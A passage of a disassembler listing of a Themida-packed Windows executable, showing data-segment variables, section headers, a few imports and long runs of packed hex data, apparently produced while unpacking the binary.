XREF: sub_425AC7+16r ; sub_425E95+4r ... align 10h off_4DB2E0 dd offset aCM_unpackerPac ; DATA XREF: ___:00422FB1w ; "C:\\m_unpacker\\packed.exe" align 8 byte_4DB2E8 db 0 ; DATA XREF: sub_41B7D3+2Dw ; sub_4239DB+5r align 4 dword_4DB2EC dd 0 ; DATA XREF: sub_41B7D3+27w dword_4DB2F0 dd 0 ; DATA XREF: sub_41B7D3+4r ; sub_41B7D3+8Bw dword_4DB2F4 dd 0 ; DATA XREF: sub_41C0F4+3Br ; sub_41C0F4+91w dd 0 dword_4DB2FC dd 0 ; DATA XREF: sub_41C748+Aw dword_4DB300 dd 0 ; DATA XREF: sub_41D081+5Er ; sub_41D081+A4w align 8 word_4DB308 dw 0 ; DATA XREF: sub_41D081+55r ; sub_41D081+9Ao word_4DB30A dw 0 ; DATA XREF: sub_41D081+48r db 2 dup(0) word_4DB30E dw 0 ; DATA XREF: sub_41D081+3Br word_4DB310 dw 0 ; DATA XREF: sub_41D081+2Er word_4DB312 dw 0 ; DATA XREF: sub_41D081+21r align 8 dword_4DB318 dd 0 ; DATA XREF: ___:loc_422EDCr ; ___:loc_422F1Er ... align 10h dword_4DB320 dd 0 ; DATA XREF: sub_41DA29r ___:0041DA50o ... dword_4DB324 dd 0 ; DATA XREF: sub_41EB10+4Bw ; sub_41EC29+2Dw ... dword_4DB328 dd 0 ; DATA XREF: sub_41F312r dword_4DB32C dd 0 ; DATA XREF: sub_41B202:loc_41B31Er ; sub_41B202:loc_41B43Fr ... dword_4DB330 dd 1 ; DATA XREF: sub_41FEA9:loc_420024r ; sub_420042+4w ... dword_4DB334 dd 0 ; DATA XREF: sub_420446+37r dd 0 dword_4DB33C dd 0 ; DATA XREF: sub_4219D9+11r ; sub_421ADD+1Ar ... byte_4DB340 db 0 ; DATA XREF: sub_4219D9+3r ; sub_4219D9+98r ... align 4 dword_4DB344 dd 0 ; DATA XREF: sub_421ADD+11r ; sub_421BBB+21w ... byte_4DB348 db 0 ; DATA XREF: sub_421BBB+51w align 4 dword_4DB34C dd 0 ; DATA XREF: sub_421DB1+4Er ; sub_42218C+3Ar ... dword_4DB350 dd 0 ; DATA XREF: sub_421DB1+5Cr ; sub_42218C+43r ... dword_4DB354 dd 0 ; DATA XREF: sub_41C9CE+7Ar ; sub_421F58+5r dword_4DB358 dd 0 ; DATA XREF: sub_42255C+29r dword_4DB35C dd 2 dup(0) ; DATA XREF: sub_41D160+Co dword_4DB364 dd 0 ; DATA XREF: sub_41D5AA+4r ; sub_41D5AA+6Er ... dd 3 dup(0) dword_4DB374 dd 0 ; DATA XREF: sub_41D834+61r ; sub_41D834+BFr ... dd 0 dword_4DB37C dd 1 ; DATA XREF: sub_422ACA+28r ; sub_422ACA+4Cw ... dword_4DB380 dd 0 ; DATA XREF: ___:00422D28r ; ___:00422D34w ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422F9Ao ; ___:off_4DB2E0o align 10h dd 3Ah dup(0) dword_4DB488 dd 1 ; DATA XREF: ___:004231D2r ; ___:004231F3w ... dword_4DB48C dd 0 ; DATA XREF: sub_423590+21r dword_4DB490 dd 0 ; DATA XREF: sub_41F32D+154w ; sub_420446:loc_42046Fw ... dword_4DB494 dd 0 ; DATA XREF: sub_41F32D+7r dword_4DB498 dd 1 ; DATA XREF: sub_423CEC+26r ; sub_423CEC:loc_423D56w align 10h word_4DB4A0 dw 0 ; DATA XREF: sub_4245E9+1Ao ; sub_4245E9+46r byte_4DB4A2 db 0 ; DATA XREF: sub_4245E9+39r align 4 dword_4DB4A4 dd 7 dup(0) ; DATA XREF: sub_4245E9+52o dword_4DB4C0 dd 0 ; DATA XREF: sub_4245E9+40w ; sub_4245E9+5Co dword_4DB4C4 dd 0 ; DATA XREF: sub_4245E9+4Dw dword_4DB4C8 dd 0 ; DATA XREF: sub_4245E9+31w dword_4DB4CC dd 0 ; DATA XREF: sub_4245E9+52w dword_4DB4D0 dd 77C26E79h ; DATA XREF: sub_42470C:loc_42472Fr ; sub_42470C+38r ... align 8 dword_4DB4D8 dd 0 ; DATA XREF: sub_4247EC+11w ; sub_4247EC+63w ... align 10h dword_4DB4E0 dd 0 ; DATA XREF: sub_4247EC+33o ; sub_4247EC+46r dword_4DB4E4 dd 10h dup(0) ; DATA XREF: sub_4247EC+C1o word_4DB524 dw 0 ; DATA XREF: sub_424A4A+A8r word_4DB526 dw 0 ; DATA XREF: sub_4247EC+54r ; sub_424A4A+DBr ... word_4DB528 dw 0 ; DATA XREF: sub_424A4A+CAr word_4DB52A dw 0 ; DATA XREF: sub_424A4A+D3r ; sub_424A4A:loc_424B3Cr word_4DB52C dw 0 ; DATA XREF: sub_424A4A+C0r word_4DB52E dw 0 ; DATA XREF: sub_424A4A+B8r word_4DB530 dw 0 ; DATA XREF: sub_424A4A+B0r word_4DB532 dw 0 ; DATA XREF: sub_424A4A+9Er dword_4DB534 dd 0 ; DATA XREF: sub_4247EC+4Br dword_4DB538 dd 10h dup(0) ; DATA XREF: sub_4247EC+FBo word_4DB578 dw 0 ; DATA XREF: sub_424A4A+46r word_4DB57A dw 0 ; DATA XREF: sub_4247EC:loc_424863r ; sub_424A4A+78r ... word_4DB57C dw 0 ; DATA XREF: sub_424A4A+67r word_4DB57E dw 0 ; DATA XREF: sub_424A4A+70r ; sub_424A4A:loc_424ACEr word_4DB580 dw 0 ; DATA XREF: sub_424A4A+5Dr word_4DB582 dw 0 ; DATA XREF: sub_424A4A+55r word_4DB584 dw 0 ; DATA XREF: sub_424A4A+4Dr word_4DB586 dw 0 ; DATA XREF: sub_424A4A+3Er dword_4DB588 dd 0 ; DATA XREF: sub_4247EC+80r dword_4DB58C dd 0 ; DATA XREF: sub_4247EC+132r ; sub_4247EC:loc_424938r ... dword_4DB590 dd 0 ; DATA XREF: sub_4247D7r sub_4247D7+Ew dword_4DB594 dd 0 ; DATA XREF: sub_424D78+3r ; sub_424D78+2Ew ... dword_4DB598 dd 0 ; DATA XREF: sub_424D78+43w ; sub_424D78:loc_424DC7r dword_4DB59C dd 0 ; DATA XREF: sub_424D78+4Aw ; sub_424D78+60r dword_4DB5A0 dd 0 ; DATA XREF: sub_423A33+3Fr dword_4DB5A4 dd 0 ; DATA XREF: sub_425955:loc_4259BCr ; sub_425955+6Do dword_4DB5A8 dd 0 ; DATA XREF: sub_425955:loc_425993r ; sub_425955+44o dword_4DB5AC dd 0 ; DATA XREF: sub_425955:loc_425986r ; sub_425955+37o dword_4DB5B0 dd 0 ; DATA XREF: sub_425955:loc_4259A0r ; sub_425955+51o align 8 dword_4DB5B8 dd 0 ; DATA XREF: sub_425F03+28r ; sub_425F03+48w ... dword_4DB5BC dd 0 ; DATA XREF: sub_426988+28r ; sub_426988+4Cw ... dword_4DB5C0 dd 0 ; DATA XREF: sub_426C13+26r ; sub_426C13:loc_426C7Dw byte_4DB5C4 db 0 ; DATA XREF: sub_40D878r sub_40D878+9w align 4 dword_4DB5C8 dd 2441140h ; DATA XREF: sub_41DBF0:loc_41DC01r ; sub_41F49D+14r ... dd 5 dup(0) dword_4DB5E0 dd 400h dup(0) ; DATA XREF: ___:off_43CA18o ; ___:0043CA20o dword_4DC5E0 dd 200h ; DATA XREF: sub_41DBF0+9r ; sub_41DBF0+56r ... dd 7 dup(0) dword_4DC600 dd 2440650h ; DATA XREF: sub_41F043+75r ; sub_41F11C+2Ar ... dword_4DC604 dd 3Fh dup(0) ; DATA XREF: ___:00423394o dword_4DC700 dd 20h ; DATA XREF: sub_41DA72+8r ; sub_41F11C+Cr ... dword_4DC704 dd 4E4h ; DATA XREF: sub_41FEA9+14r ; sub_41FEA9+65w ... align 10h dword_4DC710 dd 3 dup(0) ; DATA XREF: sub_41FEA9+123o ; sub_41FEA9+171o ... dword_4DC71C dd 0 ; DATA XREF: sub_41FEA9+108w ; sub_41FEA9+15Dw ... byte_4DC720 db 0 ; DATA XREF: sub_4200E8:loc_4201F4w ; sub_4200E8:loc_420211w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_4DC820 db 0 ; DATA XREF: sub_41FEA9+5Co ; sub_41FEA9+AFo ... byte_4DC821 db 0 ; DATA XREF: sub_41B9D1+5Dr ; sub_41FEA9+A0w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_4DC924 dd 0 ; DATA XREF: sub_41FEA9+6Ew ; sub_41FEA9+12Bw ... dword_4DC928 dd 0 ; DATA XREF: sub_41E4D4+5r ; sub_41E4D4+32w dword_4DC92C dd 0 ; DATA XREF: sub_41DEA2+23Ar ; sub_41DEA2+25Ar ... dword_4DC930 dd 0 ; DATA XREF: sub_41DEA2+311w ; sub_41E1CB:loc_41E21Br ... dword_4DC934 dd 0 ; DATA XREF: sub_41DEA2+22Dr ; sub_41DEA2+260r ... dword_4DC938 dd 0 ; DATA XREF: sub_41DE77r ; sub_41DEA2+2CBr ... dword_4DC93C dd 0 ; DATA XREF: sub_41DE77+8r ; sub_41DEA2+2D0r ... dword_4DC940 dd 0 ; DATA XREF: sub_41B202+5Cr ; sub_41B513+Fr ... dword_4DC944 dd 2440000h ; DATA XREF: sub_41B0B1+5Ar ; sub_41B202+C0r ... dword_4DC948 dd 1 ; DATA XREF: sub_41B0B1+Cr ; sub_41B202:loc_41B232r ... dword_4DC94C dd 142340h ; DATA XREF: ___:00422E81r ; ___:00422FACr dword_4DC950 dd 1 ; DATA XREF: ___:00422F77w sub_425AC7r dword_4DC954 dd 1 ; DATA XREF: sub_42026Dr ; sub_42026D+11w ... dword_4DC958 dd 2440758h ; DATA XREF: sub_41B7D3+3Er ; sub_41CFD3+13r ... dword_4DC95C dd 2440758h ; DATA XREF: sub_41B7D3+35r ; sub_41B7D3+57r ... dd 1A8h dup(0) dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0) ___ ends ; Section 2. (virtual address 000DE000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000DE000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rsrc___ segment para public 'DATA' use32 assume cs:_rsrc___ ;org 4DE000h dd 400h dup(0) _rsrc___ ends ; Section 3. (virtual address 000DF000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000DF000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata__ segment para public 'DATA' use32 assume cs:_idata__ ;org 4DF000h a7icwCw db '7¨çwµ\çw',0 align 4 dd 77345219h, 4 dup(0) dd 0DF050h, 0DF000h, 3 dup(0) dd 0DF079h, 0DF00Ch, 5 dup(0) aKernel32_dll_0 db 'KERNEL32.dll',0 db 2 dup(0), 43h aReatefilea db 'reateFileA',0 align 4 dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h dd 6C642E32h, 6Ch aInitcommoncont db 'InitCommonControls',0 align 1000h _idata__ ends ; Section 4. (virtual address 000E0000) ; Virtual size : 000E2000 ( 925696.) ; Section size in file : 000E2000 ( 925696.) ; Offset to raw data for section: 000E0000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write Themida_ segment para public 'DATA' use32 assume cs:Themida_ ;org 4E0000h dd 0E980D83h, 44267h, 5409Bh, 95172h, 0 dd 0B8h, 0C00B6000h, 0E86874h, 58000000h, 5305h, 0E9388000h dd 0EB611375h, 372DDB45h, 0FF004E00h, 0FFFFFFFFh, 3DFFFFFFh dd 0E840h, 25580000h db 0 byte_4E0049 db 0F0h, 2 dup(0FFh) ; DATA XREF: ___:00437A64o dd 0BB66FF33h, 83665A19h, 396634C3h, 0F127518h, 33C50B7h dd 44E9BBD0h, 0C3830000h, 741A3967h, 10002D07h, 0DAEB0000h dd 0EAE9F88Bh, 3000001h, 26AB9C7h, 0CF03000Eh, 0EAB80AEBh dd 0B90053EEh, 4E026Ah, 84E85150h, 0E8000000h, 0 dd 262D58h, 0EFB90000h, 0C6000001h, 0E983E900h, 1488905h dd 1AFE961h, 93280000h, 7888E4C9h, 0DA6E5EBCh, 3D630BCFh dd 0D85F1F80h, 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h dd 78F2E4C9h, 172F5EBCh, 9122458Bh, 0D8B164C8h, 0DCBA75EBh dd 1D3B76EDh, 564635CCh, 0F28784C5h, 78F2E432h, 172F5EBCh dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 3163C78Eh dd 93264C98h, 60F2E4C8h, 2424748Bh, 28247C8Bh, 8A80B2FCh dd 7884606h, 2BB47h, 0D2020000h, 168A0575h, 73D21246h dd 75D202EAh, 46168A05h, 4F73D212h, 0D202C033h, 168A0575h dd 0FD21246h, 0DF83h, 75D20200h, 46168A05h, 0C013D212h dd 575D202h, 1246168Ah, 2C013D2h, 8A0575D2h, 0D2124616h dd 0D202C013h, 168A0575h, 13D21246h, 570674C0h, 78AF82Bh dd 4707885Fh, 2BBh, 0B89BEB00h, 1, 575D202h, 1246168Ah dd 2C013D2h, 8A0575D2h, 0D2124616h, 0C32BEA72h, 1BBh, 0B9287500h dd 1, 575D202h, 1246168Ah, 2C913D2h, 8A0575D2h, 0D2124616h dd 8B56EA72h, 0F3F52BF7h, 4FE95EA4h, 48FFFFFFh, 8A08E0C1h dd 0E88B4606h, 1B9h, 75D20200h, 46168A05h, 0C913D212h dd 575D202h, 1246168Ah, 3DEA72D2h, 7D00h, 3D1A73h, 72000005h dd 8B56410Eh, 0F3F02BF7h, 0FE95EA4h, 83FFFFFFh, 3777FF8h dd 5602C183h, 0F02BF78Bh, 0E95EA4F3h, 0FFFFFEFAh, 3346068Ah dd 1E8C0C9h, 0D1831774h, 56E88B02h, 0F02BF78Bh, 0BB5EA4F3h dd 1, 0FFFED9E9h, 247C2BFFh, 247C8928h, 8C2611Ch, 0EC80E900h dd 38E90005h, 156333Ch, 0E101BCFBh, 3007EE1Ah, 8312D34h dd 685401FEh, 64696D65h, 0F43FC261h, 85702247h, 52805FF5h dd 61747365h, 7141E672h, 7C2E7A70h, 0AA1EE178h, 0EB1001CEh dd 283F97AFh, 34A11F3h, 21AFAC7Ah, 2174DD01h, 667F03C6h dd 1FE10392h, 2E71F2EAh, 3CBDEE11h, 21BCAE04h, 7F2103DCh dd 7036917Fh, 35457E8Dh, 0E4DD37C2h, 5E215C24h, 23DC3343h dd 179879D5h, 0E357D708h, 0D490C58Bh, 10E1E860h, 0ED815Dh dd 64D334Bh, 116D9589h, 3DB50DC2h, 0D485272Fh, 0BD830713h dd 31C03A4h, 0E88B0C74h, 3BB8E291h, 78C2594Fh, 0E3244470h dd 0A4D3E88h, 0E8456A03h, 682903A3h, 783749Ah, 0A80DFD2h dd 0A894B25h, 0E988D5F4h, 0EC025214h db 0BEh, 80h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 56h fsubr st, st(6) add bl, [edx-7Fh] jmp far ptr 0C7DAh:8B003439h ; --------------------------------------------------------------------------- dd 8D84845h, 89400ED8h, 7D8108C7h, 331D80E6h, 8200F74h dd 24A383F9h, 12C3FF10h, 1BE1EB43h, 2661DC36h, 4C2C9A0h dd 0C48146A0h, 2FF7C34h, 20824972h, 8B80458Dh, 0C7085D0Ah dd 50221985h, 0D10A8D50h, 1888C305h, 0B458941h, 610BD81h dd 0E375145Dh, 0BA8DA127h, 75606447h, 240E8A80h, 805BF4BBh dd 5437ABB8h, 0D07ED378h, 4B080F61h, 0AFD8F775h, 464729C3h dd 1546234Ah, 0D11542F9h, 0D0D08A61h, 0C5FEF03Ah, 5FC45EEh dd 1E04EB4Dh, 804646ADh, 0F729403Eh, 34B784BAh, 0EB0C7D30h dd 0F83EC87Fh, 42126D66h, 0F40E65F0h, 0C14A1040h, 0A004F065h dd 1CD1F8D6h, 0B0C203E0h, 8ADB3328h, 80301C0Eh, 0A7266FBh dd 77391E0Ah, 79EB9F05h, 61142233h, 0A3F0DFBh, 1E08B766h dd 0AC3A7AFh, 181A1056h, 0A0B7241h, 66F7746h, 10C5124h dd 0F4ECF05Dh, 8D7D8339h, 0CB07202h, 0A576C09Bh, 2620AAB3h dd 8D03E7F8h, 3BA800B5h, 820FFC55h, 0B0BD7854h, 38DFAAE0h dd 870BA28h, 7054B970h, 0C820BDFCh, 0FFE0035h, 0FA754947h dd 6AE222B9h, 171BBEEh, 8237F1FAh, 0C08E0CEBh, 37DC868Eh dd 51071C4Eh, 1D361B65h, 268A72FFh, 0E90785h, 8C675905h dd 1B1FB8DFh, 658C32Ch, 0D2D81Bh, 67A2E771h, 5C9B95BCh dd 1FC012FEh, 8C330598h, 9ED000B2h, 47D77704h, 44011BFEh dd 58B8EE63h, 34438810h, 67808E5Ch, 0C16BE2F1h, 9F04E954h dd 0C4DC211Fh, 255D8A80h, 0CC458205h, 44211708h, 7C45406h dd 72B0B141h, 34CB38E0h, 39820077h, 0F765B4Eh, 510FB810h dd 8ED1043Dh, 746C83Bh, 562E0975h, 48050E11h, 9065E4ECh dd 8440761Fh, 968E05C5h, 53A1A9EFh, 0C204151Eh, 718C1929h dd 0EB7E7B6h, 2BFF66E2h, 4778118h, 3341D22h, 33F984C1h dd 0BC202075h, 0EC0AEE3Fh, 230CEEFh, 13EC4167h, 0CC3F7F8Ch dd 9F4021FFh, 60E9D445h, 52C462A0h, 254D8C01h, 0B1AA8211h dd 5AAB9A09h, 56131184h, 5E050723h, 54FAEE82h, 0B8222881h dd 0B9518A7Dh, 97230213h, 0EF814394h, 725B1853h, 558A23C4h dd 43001D11h, 0F5DCC453h, 73004716h, 375C386Dh, 0C8DA8D67h dd 60C3584Eh, 7D8A91C4h, 48881A18h, 4FC40058h, 7784B712h dd 3909BC57h, 8709768Bh, 0E232F9F3h, 112C9705h, 0D5638017h dd 0A9BCAFh, 0B79199Dh, 238610CAh, 1E4F27D4h, 824AC8D9h dd 2189D13h, 0C009EA1Bh, 7FCD960Bh, 0A21F8FFFh, 275BD1BFh dd 0FD3C291Bh, 22423E1Fh, 0DBD44C15h, 76633C00h, 48E3A57Ah dd 5E98DC09h, 1F388324h, 8AF0F7B7h, 0C2153286h, 38F1046h dd 1CDB3286h, 300C2A20h, 501B0EE9h, 2C0099CDh, 65E59343h dd 24BE39D5h, 0CAC94F4h, 0FCDE5AF8h, 9EC2820Ch, 6061346Fh dd 62F416F6h, 0FA70D334h, 100B3506h, 590881h, 0BF93BC51h dd 595F3ABBh, 8023EA4Ch, 0E94EB5Eh, 18F20169h, 4D600FD3h dd 5150C8FFh, 82309900h, 652343C1h, 18989007h, 163926D7h dd 362A8C35h, 12C1B93Dh, 7857DE89h, 72D5C7FCh, 1046C220h dd 0CF980484h, 50C90F1h, 170AEA12h, 981A07FDh, 0C1DEA37Ch dd 31F6136Ch, 0D564C4ACh, 26E1786Fh, 0FE13E7C3h, 932138FBh dd 3FFA270h, 11CEA68h, 0D972060Bh, 0D01AE8AFh, 6E18A047h dd 0FA4C9222h, 766A59EAh, 0E0C37900h, 0FDC9E66Fh, 17B7EC00h dd 9BD60347h, 3169001Ah, 0FF6402ACh, 23187CC5h, 5F2016C3h dd 7608C124h, 0E09DC191h, 0C80E7E17h, 0C0349231h, 6CD29AD4h dd 0D6831C71h, 0FE1F81C2h, 80195FFBh, 703CA739h, 19DB5BC5h dd 5971E3C1h, 0BA841018h, 0DA900C6Dh, 0D1402B0Dh, 1000097Ch dd 920B2C47h, 7C505Ah, 0DC63073Bh, 0D7CCA2CAh, 27069B71h dd 4C81F9Eh, 187A9831h, 0C0077495h, 777C8856h, 6FCF6B80h dd 0C1F7083h, 77197C8Eh, 1364C519h, 9ADC4A30h, 84A70034h dd 607C3F44h, 0AD0371C7h, 20CDFFB0h, 47292008h, 5F93400Ch dd 1C922h, 7CA9A89Bh, 715A61EDh, 6C2E2473h, 0DA1343B1h dd 8AEC6306h, 2D3D0079h, 0A4E6125Bh, 0FF07A014h, 62B7C4EAh dd 0E56CFE70h, 0A9E40068h, 0DC043A06h, 4D005D7Bh, 0D088B68Eh dd 3EC3C0h, 54790994h, 20722B6Bh, 5084D453h, 340A5F87h dd 0A0521E33h, 92561439h, 9A6F8088h, 0C1AECFCCh, 0CE138C58h dd 68288351h, 8E2FA0D0h, 0C2C9860h, 16FD12BFh, 0E41899E9h dd 86389C68h, 0A72D033Ch, 6D95FB8Eh, 0D4994006h, 520A694h dd 6B847964h, 0D2EC0827h, 120B3640h, 5C88366h, 7106B303h dd 2537C0D4h, 0C14CA378h, 4985A2ACh, 4157FA23h, 926E52E0h dd 35B4F8A8h, 20A92400h, 8165CA1Dh, 0D01252CEh, 0AB90D00Ch dd 4F221C9h, 50A5F430h, 0C626FB12h, 5958F9D1h, 0B5409D00h dd 0C52F3981h, 734600C0h, 0D7B4489Ah, 69065CF9h, 599E3390h dd 0A80801B8h, 0C8CE0163h, 0E00C212Ah, 0B0A87EECh, 0F700F2E5h dd 0DD710D0Bh, 6BDD713h, 622B0CA7h, 9B0A4058h, 9497DCCCh dd 9F015444h, 242528C5h, 7D448F60h, 489D2285h, 0C6534002h dd 0A00E3062h, 149BEFA8h, 0FFD5008Fh, 16B5DC31h, 340C56D3h dd 3950F9D6h, 32940039h, 0BC0AFD8Eh, 7BE406ECh, 0E17561C2h dd 722160E2h, 0FF5B03A1h, 87EC6B14h, 6E3E2100h, 0A844F705h dd 0B78001Dh, 96C8E1BFh, 460A075Dh, 903CBB76h, 3775E08h dd 8538FC99h, 0FB0CE00Eh, 0BD18B859h, 0B9166130h, 0CC6A5F1Ah dd 0CC093905h, 0AC40DEh, 0B5078D6Eh, 0B8091501h, 940018AFh dd 1E48D386h, 4B1D2479h, 80C0D65Ch, 2F9AF36Bh, 0CD03EAAh dd 38020048h, 223B9070h, 84A57F00h, 0F2ACA00Ah, 0EE131434h dd 643F5462h, 80986140h, 46C02C54h, 49429018h, 20CDF940h dd 47013B13h, 8BD78678h, 90509227h, 33FC9D76h, 248B3C6h dd 6F46798h, 0B634BA24h, 0D1F00100h, 0C0375B88h, 0BBD0FA50h dd 1707B007h, 42CD4FBCh, 0DEBB170h, 712E00A6h, 3F364363h dd 0D403D25Ah, 0DE7AD0A9h, 8D08D922h, 0E8319BF8h, 4FC7004Ch dd 0ADFC4769h, 843C4ED4h, 51AB0F50h, 3F78097h, 745791h dd 0A9EEBCDFh, 0C5D67AD8h, 0FA1C8500h, 8E190848h, 7D20738h dd 909BDC13h, 0BBE0B15Dh, 93D4120Fh, 9675A40Dh, 7830ACC8h dd 85618072h, 38489B22h, 1120123Fh, 490C08F0h, 0F042F3C0h dd 5E963185h, 50153029h, 5B33FCE8h, 0CD127800h, 24FF3B08h dd 884C0134h, 4A900FEEh, 309420F7h, 148C7A40h, 0DC552DFBh dd 6327E103h, 714C1E5Eh, 10C000B8h, 0E2C546C3h, 363509B7h dd 98824465h, 0D1012577h, 0FAFCC876h, 6A80971h, 58105DFBh dd 0A7408404h, 1EA1D2C1h, 69404094h, 0FD62023h, 0F71219C4h dd 101988C8h, 381BC04h, 301356C4h, 0F4290010h, 728F282Dh dd 0D9005237h, 4C293E24h, 289579EFh, 0CA81708h, 38539878h dd 21605FA0h, 820AB659h, 0D5B70352h, 0F168171Ch, 92616E88h dd 0A6E63A01h, 401F8850h, 71233880h, 2629DA02h, 109C9558h dd 267C472Eh, 2884FD2h, 1F63A070h, 27501CC6h, 408A4DCCh dd 8215F3FCh, 31C27863h, 2C3C900Fh, 71A78819h, 4420600Ch dd 20FB9B44h, 0BC586229h, 0C85C48BCh, 3F356099h, 11C34EFAh dd 0F8512ABDh, 1211D647h, 82C090Fh, 0E0016ECCh, 0C0F91217h dd 5B22D432h, 0E5008EF0h, 355C54FAh, 1D0061Ch, 7193FF9Ch dd 87D7918Ah, 0D31730D6h, 39D66C5Fh, 0FC845856h, 2690E098h dd 60ABA088h, 0E146D821h, 0EB648556h, 0C81D629h, 8E039834h dd 566C5EC9h, 922261ACh dd 98700CA6h, 74483A2Bh, 8C56DA08h, 8002020Fh, 20E89CCDh dd 9629C7CAh, 5E0084F9h, 2AC11960h, 2C9D4D75h, 7D117211h dd 0A1B8FC10h, 6077BB14h, 801A2050h, 847190D4h, 98A5E083h dd 48609A1Bh, 0E5C028E4h, 38F77F84h, 0F3178100h, 3686EFAEh dd 33BB026Ah, 0E8CCD76Eh, 0FCCCECCAh, 0FC00C47Eh, 0AC44202Dh dd 7278E64h, 66F8C8D2h, 0FB602091h, 1F15D7B9h, 3D00DCAh dd 0D4A5A963h, 0A7880934h, 4308D764h, 12FD402Ch, 0D9015346h dd 7E5CE78Bh, 0C1E80509h, 0A01E0F29h, 0C00AD0Bh, 83EBA771h dd 97E6F9C1h, 0F3D435E5h, 5F735Dh, 0B11D4C26h, 0D7FAD26Fh dd 12996000h, 5D9F62A7h, 0BC715CCEh, 0B2008922h, 84F38E51h dd 672D9Dh, 315E4E34h, 0ED27C34Bh, 0BF53AE03h, 0AC9F8599h dd 12DE1C89h, 15C02460h, 90B8D080h, 1CDCA9B2h, 0DE18A010h dd 0EE68FF0Eh, 0B64E38Dh, 309DC0E5h, 488A942h, 907852E8h dd 0CF1F1524h, 69009C06h, 90A90A01h, 8563D82Bh, 14CF920h dd 9EEA0E89h, 0E5FC7720h, 0D181F896h, 8810DC90h, 0E44C3BDBh dd 0DF985006h, 0D4051023h, 8B2CCC99h, 5FC6EC02h, 154E2E1Dh dd 0E67A7C20h, 0C1002A64h, 9BBB1CB1h, 92B5D4FCh, 4E0310ECh dd 0ECF67C74h, 743019D6h, 3E5FBFh, 6B5EA67Dh, 48D0A191h dd 2E839817h, 0D308E443h, 1BF388h, 209BD710h, 7526338Ch dd 8AFBE1C8h, 93841230h, 816F0A0Fh, 0A941009Bh, 3F5AE046h dd 0C56B6F02h, 0C0D62979h, 80A4100Ch, 21093683h, 6678B5A8h dd 5FF81808h, 7A05F159h, 0AD7FC509h, 4CF84050h, 8593067Dh dd 0D182ECD1h, 0D81FE6ECh, 68C0C4DBh, 495DF055h, 9B6E0E70h dd 0D6460C13h, 0E300B86Ah, 52ABFF0Fh, 0C0ED44Fh, 9140DC42h dd 413E0190h, 0AAD9E0FAh, 3899948Dh, 0D480E00Ch, 1AE86A6Fh dd 0FB011219h, 760246C1h, 5C46CD20h, 0C91F2516h, 0B0029829h dd 0B0525C39h, 0A84D820h, 5B958549h, 568B50A0h, 9CC07100h dd 4AE5131Ah, 0DF51017Dh, 5249DC89h, 9F3888DEh, 8E570402h dd 578C87Fh, 93E2C92Ch, 0D72EA801h, 60873CDFh, 8AFF4070h dd 4E1B44ACh, 16360082h, 1A380C0Eh, 31D5BCB8h, 0D8BB9087h dd 86C8DC03h, 415007h, 9D6D40F2h, 0AF09CC18h, 3463D0h dd 0B126D7F8h, 5B473A91h, 6460D802h, 845F9785h, 294E1674h dd 0A2A57300h, 67DBBABh, 8F21DE07h, 0E8F0625Ch, 0B807C719h dd 23EB20BCh, 43B8D648h, 4A3308ACh, 60C3E56h, 1190D7DEh dd 0C374B449h, 0C7BD5CCDh, 700A440Fh, 2F78C0C1h, 3D483A07h dd 0A961F180h, 65484F26h, 9AC0AF00h, 193CAD46h, 93810FA4h dd 1F6E707Bh, 17D43E30h, 3C41DCCCh, 0ADEC3C84h, 0E443E883h dd 180C792Ch, 882A0BBDh, 0D09E3101h, 8809D279h, 251488h dd 0D76AEBC8h, 10C067Fh, 190844CEh, 89631CF3h, 91EFE92h dd 3A3FC3C9h, 0AEC0739Dh, 689A2154h, 0E0F681FCh, 0F1393460h dd 3E558928h, 1C3DA926h, 24C91962h, 3FCF8520h, 12602C86h dd 382810FCh, 68AE9602h, 5D0AB041h, 75710391h, 2E10040Eh dd 892C0004h, 96B394Bh, 62ED0769h, 0E36EA4ECh, 19761341h dd 0EF15670Ch, 494010h, 0D04A8D8Ch, 8881E0Bh, 84BC59C0h dd 793E557h, 7342C6Ah, 0D628C66Bh, 2F96C03h, 1A4483Dh dd 0A12E538h, 0F0AA25D9h, 0F6F0E226h, 3010D568h, 0F3330860h dd 85800077h, 69DC4CC1h, 9100049Eh, 6C5CC039h, 30ED6509h dd 92B8BCA9h, 99F06814h, 710C460h, 0A16D2E08h, 88DA17Ch dd 3992D28h, 0B1036984h, 612E39Eh, 8880CD1h, 51386A02h dd 93969800h, 40DE8A5h, 30DE5117h, 948AD807h, 0D8A00FB9h dd 3131002h, 0C8FE185Dh, 57F9D4E3h, 5014F508h, 